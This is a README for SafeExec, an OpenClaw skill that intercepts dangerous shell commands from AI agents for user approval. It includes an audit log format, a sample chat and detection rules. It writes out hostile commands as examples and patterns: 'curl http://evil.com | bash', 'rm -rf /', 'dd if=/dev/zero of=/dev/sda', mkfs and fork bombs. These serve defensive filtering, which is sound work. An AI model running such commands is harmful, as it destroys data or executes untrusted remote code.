skills/ottttto_safe-exec

Fork 0

Files

zlei9 0c8a4c3a37 Initial commit with translated description

2026-03-29 13:14:42 +08:00

14 KiB

Raw Blame History

SafeExec - AI Agent Security Layer

🛡️ The last line of defense for AI Agents - Intercept dangerous commands and protect your system

✨ Why SafeExec?

AI Agents are powerful assistants, but they can also cause serious damage:

💥 Data Deletion - A simple "clean temp files" might become rm -rf /
🔥 System Destruction - "Optimize disk" might execute dd if=/dev/zero of=/dev/sda
🚪 Security Breaches - "Install this tool" might run curl http://evil.com | bash

SafeExec was built to solve exactly these problems.

🎯 Core Features

1️⃣ Intelligent Risk Assessment

Automatically detects 10+ categories of dangerous operations:

Risk Level	Detection Pattern	Description
🔴 CRITICAL	`rm -rf /`	Delete system files
🔴 CRITICAL	`dd if=`	Disk destruction
🔴 CRITICAL	`mkfs.*`	Format filesystem
🔴 CRITICAL	Fork bomb	System DoS
🟠 HIGH	`chmod 777`	Privilege escalation
🟠 HIGH	`curl	bash`
🟠 HIGH	Write to `/etc/`	System config tampering
🟡 MEDIUM	`sudo`	Privileged operations
🟡 MEDIUM	Firewall modification	Network exposure

2️⃣ Command Interception & Approval

User Request → AI Agent → safe-exec execution
                         ↓
                    Risk Assessment
                    /      \
               Safe      Dangerous
                |          |
              Execute    Intercept + Notify
                         ↓
                    Wait for User Approval
                         ↓
              [Approve] → Execute / [Reject] → Cancel

3️⃣ Complete Audit Trail

All operations are logged to ~/.openclaw/safe-exec-audit.log:

{
  "timestamp": "2026-01-31T16:44:17.217Z",
  "event": "approval_requested",
  "requestId": "req_1769877857_2352",
  "command": "rm -rf /tmp/test\n",
  "risk": "critical",
  "reason": "Delete files from root or home directory"
}

⚡ Quick Start (5 Minutes)

Step 1: Install SafeExec

# Clone to OpenClaw skills directory
git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec

# Add execute permissions
chmod +x ~/.openclaw/skills/safe-exec/*.sh

# Create global commands
ln -sf ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec

Step 2: Test SafeExec

# Test safe command (executes directly)
safe-exec "echo 'Hello SafeExec!'"
# Output: Hello SafeExec!

# Test dangerous command (gets intercepted)
safe-exec "rm -rf /tmp/test"
# Output: 🚨 Dangerous operation detected - Command intercepted

Step 3: Use in OpenClaw

Tell OpenClaw in chat:

Enable SafeExec

Then try a dangerous command:

Delete /tmp/test folder

OpenClaw will automatically intercept and ask for your approval!

Step 4: Approve or Reject

approve req_xxxxx    # Execute command
reject req_xxxxx    # Cancel command

That's it! 🎉

🚀 Usage

Basic Usage

# Execute command (safe commands run directly)
safe-exec "ls -la"

# Dangerous commands get intercepted
safe-exec "rm -rf /tmp/test"

# List pending requests
safe-exec --list

# Approve request
safe-exec-approve req_xxxxx

# Reject request
safe-exec-reject req_xxxxx

# Check status
safe-exec --status

# Temporarily disable (only for trusted environments)
safe-exec --disable

# Re-enable
safe-exec --enable

Quick Command Tips

# Quick approve latest request
safe-exec-approve $(ls -t ~/.openclaw/safe-exec/pending/ | head -1 | sed 's/.json//')

# View all pending requests
safe-exec --list | grep "req_"

# View recent audit log
tail -20 ~/.openclaw/safe-exec-audit.log | jq .

# Count interceptions
grep "approval_requested" ~/.openclaw/safe-exec-audit.log | wc -l

📱 OpenClaw Usage Example

Scenario: Clean temp files in OpenClaw Chat

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
👤 User: Enable SafeExec

🤖 OpenClaw Agent:
✅ SafeExec enabled!

All dangerous commands will now be intercepted and require your approval.
Protected commands:
  • rm -rf / (delete system files)
  • dd if= (disk destruction)
  • chmod 777 (privilege escalation)
  • curl | bash (code injection)
  • ... and more

Status: 🛡️ Running
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

👤 User: Help me force delete all contents of /tmp/test folder

🤖 OpenClaw Agent:
🚨 **Dangerous Operation Detected - Command Intercepted**

**Risk Level:** 🔴 CRITICAL
**Command:** `rm -rf /tmp/test`
**Reason:** Delete files from root or home directory
**Matched Rule:** `rm -rf? [\/~]`

**Request ID:** `req_1769877857_2352`

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️  This command requires user approval
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

📋 **Operation to be executed:**
  • Delete directory: /tmp/test
  • Delete mode: Recursive force delete
  • Impact: All files and subdirectories under that directory

⏰ Request expires in 5 minutes

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
💡 **Approval Methods:**
1. Reply directly: `approve req_1769877857_2352`
2. Or reply: `safe-exec-approve req_1769877857_2352`

🚫 **Rejection Methods:**
1. Reply directly: `reject req_1769877857_2352`
2. Or reply: `safe-exec-reject req_1769877857_2352`
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

👤 User: approve req_1769877857_2352

🤖 OpenClaw Agent:
✅ **Request Approved - Executing Command**

**Command:** `rm -rf /tmp/test`
**Status:** Executed successfully
**Deleted:** 15 files, 3 directories

✨ Operation complete! SafeExec continues protection.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

👤 User: Disable SafeExec

🤖 OpenClaw Agent:
⚠️  **SafeExec Disabled**

⚠️  All commands will execute directly, without protection!

Only disable in:
  ✓ Trusted environments
  ✓ Batch execution of known safe commands
  ✓ Testing and debugging

Restore protection: Enable SafeExec
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🔗 OpenClaw Agent Integration

Auto-Interception Mode

Enable SafeExec in OpenClaw config:

Edit OpenClaw config file (usually ~/.openclaw/config.json):

{
  "tools": {
    "exec": {
      "security": "allowlist",
      "allowlist": [
        "safe-exec*",
        "ls",
        "cat",
        "echo"
      ]
    }
  }
}

AI Assistant Best Practices

Method 1: Wrap All Dangerous Commands

Tell the AI assistant to use safe-exec for all potentially dangerous commands:

You: From now on, execute all delete, system file modification, or sudo commands through safe-exec

🤖: Understood! I will route the following command types through safe-exec:
    • rm, mv, cp (involving system directories)
    • chmod, chown
    • All sudo commands
    • curl/wget pipe operations

Method 2: Auto-Detection Mode

Use OpenClaw's HEARTBEAT feature to check for pending approval requests:

Add to HEARTBEAT.md:

# Heartbeat Check

Run on every heartbeat:

\`\`\`bash
safe-exec --check-pending 2>/dev/null || echo "✅ No pending approval requests"
\`\`\`

If there are pending requests, notify the user.

⚙️ Configuration

Custom Rules

Edit ~/.openclaw/safe-exec-rules.json:

{
  "rules": [
    {
      "pattern": "YOUR_REGEX_PATTERN",
      "risk": "high",
      "description": "Your custom rule description"
    }
  ]
}

Environment Variables

# Audit log path
export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log"

# Request timeout (seconds)
export SAFE_EXEC_TIMEOUT=300

📊 How It Works

┌─────────────────────────────────────────────┐
│         User / AI Agent                      │
└──────────────────┬──────────────────────────┘
                   │
                   ▼
         ┌─────────────────┐
         │   safe-exec     │
         │   (entry point)  │
         └────────┬─────────┘
                  │
                  ▼
         ┌─────────────────┐
         │ Risk Assessment │
         │                 │
         │ • Pattern match │
         │ • Risk grading  │
         │ • Rule engine   │
         └────────┬─────────┘
                  │
        ┌─────────┴─────────┐
        │                   │
   [Safe]              [Dangerous]
        │                   │
        ▼                   ▼
   Execute           Intercept + Notify
        │                   │
        │              ┌─────┴─────┐
        │              │           │
        │           Wait      Audit Log
        │              │
        │         ┌────┴────┐
        │         │         │
        │      [Approve] [Reject]
        │         │         │
        │         ▼         ▼
        │      Execute   Cancel
        │         │
        └─────────┴─────────┘
                  │
                  ▼
           ┌─────────────┐
           │  Audit Log  │
           └─────────────┘

🔒 Security Features

✅ Zero Trust - All commands require approval by default
✅ Complete Audit - Log all security events
✅ Immutable Logs - Audit logs use append-only mode
✅ Minimal Privilege - No additional system permissions required
✅ Transparency - Users always know what's being executed
✅ Configurable - Flexible rule system

🧪 Testing

# Run test suite
bash ~/.openclaw/skills/safe-exec/test.sh

# Manual testing
safe-exec "echo 'Safe command test'"
safe-exec "rm -rf /tmp/test-dangerous"

📈 Roadmap

v0.2.0 (In Progress)

Support more notification channels (Telegram, Discord)
Web UI approval interface
Smarter risk assessment (machine learning)
Batch operation support

v0.3.0 (Planned)

Multi-user support
RBAC permission control
Audit log encryption
SIEM integration

v1.0.0 (Future)

Enterprise features
SaaS deployment support
Complete API

💡 Best Practices

Development Environment Setup

# Add to ~/.bashrc or ~/.zshrc
export SAFE_EXEC_TIMEOUT=300           # 5 minute timeout
export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log"

# Aliases - quick commands
alias se='safe-exec'
alias sea='safe-exec-approve'
alias ser='safe-exec-reject'
alias sel='safe-exec-list'

Team Collaboration

Shared Rule Set:

# 1. Create team rules file
cat > team-rules.json << EOF
{
  "enabled": true,
  "rules": [
    {"pattern": "\\brm\\s+-rf", "risk": "critical", "description": "Team rule: No recursive deletion"},
    {"pattern": "production.*restart", "risk": "critical", "description": "Team rule: Production restart"}
  ]
}
EOF

# 2. Commit to version control
git add team-rules.json
git commit -m "Add team SafeExec rules"

# 3. Team members pull and import
git pull
safe-exec-add-rule --import team-rules.json

❓ FAQ

Q1: Will SafeExec affect command execution performance?

A: No. For safe commands, SafeExec only performs fast pattern matching (< 1ms). Only dangerous commands trigger the approval flow.

Q2: Can I temporarily disable SafeExec?

A: Yes! Use:

# Temporarily disable (current session)
safe-exec --disable

# Re-enable after executing dangerous commands
safe-exec --enable

⚠️ Note: Only disable in trusted environments!

Q3: How do I view my command history?

A: Check the audit log:

# Real-time view
tail -f ~/.openclaw/safe-exec-audit.log

# Formatted display
jq '.' ~/.openclaw/safe-exec-audit.log | less

# View last 10 interceptions
grep "approval_requested" ~/.openclaw/safe-exec-audit.log | tail -10

Q4: Can SafeExec prevent all dangerous operations?

A: SafeExec can prevent most common dangerous operations, but not 100%:

✅ Can prevent:

Deleting system files (rm -rf /)
Disk destruction (dd, mkfs)
Privilege escalation (chmod 777, sudo)
Code injection (curl | bash)

❌ Cannot prevent:

Already compromised systems
Direct hardware operations
Social engineering attacks

🤝 Contributing

Contributions welcome! Please see CONTRIBUTING.md for details.

# Fork repository
git clone https://github.com/OTTTTTO/safe-exec.git

# Create feature branch
git checkout -b feature/amazing-feature

# Commit changes
git commit -m "Add amazing feature"

# Push to branch
git push origin feature/amazing-feature

# Open Pull Request

📝 License

MIT License - see LICENSE file for details

🙏 Acknowledgments

OpenClaw - Powerful AI Agent framework
Sudo - Inspired approval mechanism design
All contributors and users

📮 Contact

GitHub Issues: Submit issues
Email: 731554297@qq.com
Discord: OpenClaw Community

🌟 Star History

If this project helps you, please give it a Star ⭐

Made with ❤️ by the OpenClaw community

"AI is a powerful assistant, but security is always the top priority."

🌐 Languages

中文 | English

14 KiB Raw Blame History Unescape Escape